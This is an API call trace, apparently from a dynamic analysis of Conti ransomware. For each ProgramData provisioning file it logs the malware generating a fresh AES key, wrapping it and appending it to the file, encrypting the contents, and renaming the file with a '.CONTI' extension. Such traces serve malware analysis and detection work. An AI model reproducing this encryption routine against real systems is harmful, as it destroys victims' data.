	[0110.590] ReadFile (in: hFile=0x3d8, lpBuffer=0x8950000, nNumberOfBytesToRead=0x288, lpNumberOfBytesRead=0x37ffcc4, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesRead=0x37ffcc4*=0x288, lpOverlapped=0x0) returned 1
	[0110.590] CryptEncrypt (in: hKey=0x17c7eb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x288, dwBufLen=0x500000 | out: pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x290) returned 1
	[0110.590] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.590] WriteFile (in: hFile=0x3d8, lpBuffer=0x8950000*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x37ffcd8, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesWritten=0x37ffcd8*=0x290, lpOverlapped=0x0) returned 1
	[0110.590] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.590] WriteFile (in: hFile=0x3d8, lpBuffer=0x6563150*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x37ffcf0, lpOverlapped=0x0 | out: lpBuffer=0x6563150*, lpNumberOfBytesWritten=0x37ffcf0*=0x8, lpOverlapped=0x0) returned 1
	[0110.590] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.590] CloseHandle (hObject=0x3d8) returned 1
	[0110.590] GetProcessHeap () returned 0x1720000
	[0110.590] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b900
	[0110.590] lstrcpyW (in: lpString1=0x653b900, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\317__Connections_Cellular_Ufone (Pakistan)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\317__Connections_Cellular_Ufone (Pakistan)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\317__Connections_Cellular_Ufone (Pakistan)_i0$(__MVID)@WAP.provxml"
	[0110.590] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\317__Connections_Cellular_Ufone (Pakistan)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\317__Connections_Cellular_Ufone (Pakistan)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\317__Connections_Cellular_Ufone (Pakistan)_i0$(__MVID)@WAP.provxml.CONTI"
	[0110.591] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\317__Connections_Cellular_Ufone (Pakistan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\317__connections_cellular_ufone (pakistan)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\317__Connections_Cellular_Ufone (Pakistan)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\317__connections_cellular_ufone (pakistan)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0110.591] GetProcessHeap () returned 0x1720000
	[0110.591] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b900 | out: hHeap=0x1720000) returned 1
	[0110.591] CryptDestroyKey (hKey=0x17c7eb0) returned 1
	[0110.591] GetProcessHeap () returned 0x1720000
	[0110.591] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6566e18 | out: hHeap=0x1720000) returned 1
	[0110.591] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24) returned 1
	[0110.591] CryptGenKey (in: hProv=0x1745e90, Algid=0x6610, dwFlags=0x1, phKey=0x6563a78 | out: phKey=0x6563a78*=0x17c8030) returned 1
	[0110.591] CryptExportKey (in: hKey=0x17c8030, hExpKey=0x173a710, dwBlobType=0x1, dwFlags=0x0, pbData=0x6563a7c, pdwDataLen=0x37ffcec | out: pbData=0x6563a7c*, pdwDataLen=0x37ffcec*=0x20c) returned 1
	[0110.592] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\319__Connections_Cellular_Aljawwal (Palestinian Authority)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\319__connections_cellular_aljawwal (palestinian authority)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0110.592] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\319__Connections_Cellular_Aljawwal (Palestinian Authority)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\319__connections_cellular_aljawwal (palestinian authority)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8
	[0110.592] GetLastError () returned 0x0
	[0110.592] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x37ffc98 | out: lpFileSize=0x37ffc98*=498) returned 1
	[0110.593] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1f2
	[0110.593] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x232, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.593] SetEndOfFile (hFile=0x3d8) returned 1
	[0110.593] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.593] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.593] WriteFile (in: hFile=0x3d8, lpBuffer=0x6563a7c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x37ffca4, lpOverlapped=0x0 | out: lpBuffer=0x6563a7c*, lpNumberOfBytesWritten=0x37ffca4*=0x20c, lpOverlapped=0x0) returned 1
	[0110.599] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.599] ReadFile (in: hFile=0x3d8, lpBuffer=0x8950000, nNumberOfBytesToRead=0x1f2, lpNumberOfBytesRead=0x37ffcc4, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesRead=0x37ffcc4*=0x1f2, lpOverlapped=0x0) returned 1
	[0110.599] CryptEncrypt (in: hKey=0x17c8030, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x1f2, dwBufLen=0x500000 | out: pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x200) returned 1
	[0110.599] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.599] WriteFile (in: hFile=0x3d8, lpBuffer=0x8950000*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x37ffcd8, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesWritten=0x37ffcd8*=0x200, lpOverlapped=0x0) returned 1
	[0110.599] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.599] WriteFile (in: hFile=0x3d8, lpBuffer=0x6563a70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x37ffcf0, lpOverlapped=0x0 | out: lpBuffer=0x6563a70*, lpNumberOfBytesWritten=0x37ffcf0*=0x8, lpOverlapped=0x0) returned 1
	[0110.600] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.600] CloseHandle (hObject=0x3d8) returned 1
	[0110.600] GetProcessHeap () returned 0x1720000
	[0110.600] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b900
	[0110.600] lstrcpyW (in: lpString1=0x653b900, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\319__Connections_Cellular_Aljawwal (Palestinian Authority)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\319__Connections_Cellular_Aljawwal (Palestinian Authority)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\319__Connections_Cellular_Aljawwal (Palestinian Authority)_i0$(__MVID)@WAP.provxml"
	[0110.600] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\319__Connections_Cellular_Aljawwal (Palestinian Authority)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\319__Connections_Cellular_Aljawwal (Palestinian Authority)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\319__Connections_Cellular_Aljawwal (Palestinian Authority)_i0$(__MVID)@WAP.provxml.CONTI"
	[0110.600] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\319__Connections_Cellular_Aljawwal (Palestinian Authority)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\319__connections_cellular_aljawwal (palestinian authority)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\319__Connections_Cellular_Aljawwal (Palestinian Authority)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\319__connections_cellular_aljawwal (palestinian authority)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0110.601] GetProcessHeap () returned 0x1720000
	[0110.601] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b900 | out: hHeap=0x1720000) returned 1
	[0110.601] CryptDestroyKey (hKey=0x17c8030) returned 1
	[0110.601] GetProcessHeap () returned 0x1720000
	[0110.601] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6516aa8 | out: hHeap=0x1720000) returned 1
	[0110.601] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24) returned 1
	[0110.601] CryptGenKey (in: hProv=0x1745e90, Algid=0x6610, dwFlags=0x1, phKey=0x6563cc0 | out: phKey=0x6563cc0*=0x17c85b0) returned 1
	[0110.601] CryptExportKey (in: hKey=0x17c85b0, hExpKey=0x173a710, dwBlobType=0x1, dwFlags=0x0, pbData=0x6563cc4, pdwDataLen=0x37ffcec | out: pbData=0x6563cc4*, pdwDataLen=0x37ffcec*=0x20c) returned 1
	[0110.602] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\320__Connections_Cellular_Cable and Wireless (Panama)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\320__connections_cellular_cable and wireless (panama)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0110.602] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\320__Connections_Cellular_Cable and Wireless (Panama)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\320__connections_cellular_cable and wireless (panama)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8
	[0110.602] GetLastError () returned 0x0
	[0110.602] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x37ffc98 | out: lpFileSize=0x37ffc98*=728) returned 1
	[0110.602] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d8
	[0110.602] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.602] SetEndOfFile (hFile=0x3d8) returned 1
	[0110.602] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.603] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.603] WriteFile (in: hFile=0x3d8, lpBuffer=0x6563cc4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x37ffca4, lpOverlapped=0x0 | out: lpBuffer=0x6563cc4*, lpNumberOfBytesWritten=0x37ffca4*=0x20c, lpOverlapped=0x0) returned 1
	[0110.607] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.607] ReadFile (in: hFile=0x3d8, lpBuffer=0x8950000, nNumberOfBytesToRead=0x2d8, lpNumberOfBytesRead=0x37ffcc4, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesRead=0x37ffcc4*=0x2d8, lpOverlapped=0x0) returned 1
	[0110.607] CryptEncrypt (in: hKey=0x17c85b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x2d8, dwBufLen=0x500000 | out: pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x2e0) returned 1
	[0110.607] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.608] WriteFile (in: hFile=0x3d8, lpBuffer=0x8950000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x37ffcd8, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesWritten=0x37ffcd8*=0x2e0, lpOverlapped=0x0) returned 1
	[0110.608] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.608] WriteFile (in: hFile=0x3d8, lpBuffer=0x6563cb8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x37ffcf0, lpOverlapped=0x0 | out: lpBuffer=0x6563cb8*, lpNumberOfBytesWritten=0x37ffcf0*=0x8, lpOverlapped=0x0) returned 1
	[0110.608] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.608] CloseHandle (hObject=0x3d8) returned 1
	[0110.608] GetProcessHeap () returned 0x1720000
	[0110.608] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b900
	[0110.608] lstrcpyW (in: lpString1=0x653b900, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\320__Connections_Cellular_Cable and Wireless (Panama)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\320__Connections_Cellular_Cable and Wireless (Panama)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\320__Connections_Cellular_Cable and Wireless (Panama)_i0$(__MVID)@WAP.provxml"
	[0110.608] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\320__Connections_Cellular_Cable and Wireless (Panama)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\320__Connections_Cellular_Cable and Wireless (Panama)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\320__Connections_Cellular_Cable and Wireless (Panama)_i0$(__MVID)@WAP.provxml.CONTI"
	[0110.608] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\320__Connections_Cellular_Cable and Wireless (Panama)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\320__connections_cellular_cable and wireless (panama)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\320__Connections_Cellular_Cable and Wireless (Panama)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\320__connections_cellular_cable and wireless (panama)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0110.611] GetProcessHeap () returned 0x1720000
	[0110.611] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b900 | out: hHeap=0x1720000) returned 1
	[0110.611] CryptDestroyKey (hKey=0x17c85b0) returned 1
	[0110.611] GetProcessHeap () returned 0x1720000
	[0110.611] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6560d50 | out: hHeap=0x1720000) returned 1
	[0110.611] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24) returned 1
	[0110.611] CryptGenKey (in: hProv=0x1745e90, Algid=0x6610, dwFlags=0x1, phKey=0x6562160 | out: phKey=0x6562160*=0x17c8370) returned 1
	[0110.611] CryptExportKey (in: hKey=0x17c8370, hExpKey=0x173a710, dwBlobType=0x1, dwFlags=0x0, pbData=0x6562164, pdwDataLen=0x37ffcec | out: pbData=0x6562164*, pdwDataLen=0x37ffcec*=0x20c) returned 1
	[0110.612] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\322__Connections_Cellular_Telefonica (Panama)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\322__connections_cellular_telefonica (panama)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0110.612] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\322__Connections_Cellular_Telefonica (Panama)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\322__connections_cellular_telefonica (panama)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8
	[0110.612] GetLastError () returned 0x0
	[0110.612] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x37ffc98 | out: lpFileSize=0x37ffc98*=726) returned 1
	[0110.612] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d6
	[0110.612] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x22e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.612] SetEndOfFile (hFile=0x3d8) returned 1
	[0110.613] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.613] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.613] WriteFile (in: hFile=0x3d8, lpBuffer=0x6562164*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x37ffca4, lpOverlapped=0x0 | out: lpBuffer=0x6562164*, lpNumberOfBytesWritten=0x37ffca4*=0x20c, lpOverlapped=0x0) returned 1
	[0110.623] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.623] ReadFile (in: hFile=0x3d8, lpBuffer=0x8950000, nNumberOfBytesToRead=0x2d6, lpNumberOfBytesRead=0x37ffcc4, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesRead=0x37ffcc4*=0x2d6, lpOverlapped=0x0) returned 1
	[0110.623] CryptEncrypt (in: hKey=0x17c8370, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x2d6, dwBufLen=0x500000 | out: pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x2e0) returned 1
	[0110.623] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.623] WriteFile (in: hFile=0x3d8, lpBuffer=0x8950000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x37ffcd8, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesWritten=0x37ffcd8*=0x2e0, lpOverlapped=0x0) returned 1
	[0110.623] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.623] WriteFile (in: hFile=0x3d8, lpBuffer=0x6562158*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x37ffcf0, lpOverlapped=0x0 | out: lpBuffer=0x6562158*, lpNumberOfBytesWritten=0x37ffcf0*=0x8, lpOverlapped=0x0) returned 1
	[0110.623] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.623] CloseHandle (hObject=0x3d8) returned 1
	[0110.623] GetProcessHeap () returned 0x1720000
	[0110.623] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b900
	[0110.623] lstrcpyW (in: lpString1=0x653b900, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\322__Connections_Cellular_Telefonica (Panama)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\322__Connections_Cellular_Telefonica (Panama)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\322__Connections_Cellular_Telefonica (Panama)_i0$(__MVID)@WAP.provxml"
	[0110.623] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\322__Connections_Cellular_Telefonica (Panama)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\322__Connections_Cellular_Telefonica (Panama)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\322__Connections_Cellular_Telefonica (Panama)_i0$(__MVID)@WAP.provxml.CONTI"
	[0110.623] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\322__Connections_Cellular_Telefonica (Panama)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\322__connections_cellular_telefonica (panama)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\322__Connections_Cellular_Telefonica (Panama)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\322__connections_cellular_telefonica (panama)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0110.624] GetProcessHeap () returned 0x1720000
	[0110.624] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b900 | out: hHeap=0x1720000) returned 1
	[0110.624] CryptDestroyKey (hKey=0x17c8370) returned 1
	[0110.624] GetProcessHeap () returned 0x1720000
	[0110.624] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6566f60 | out: hHeap=0x1720000) returned 1
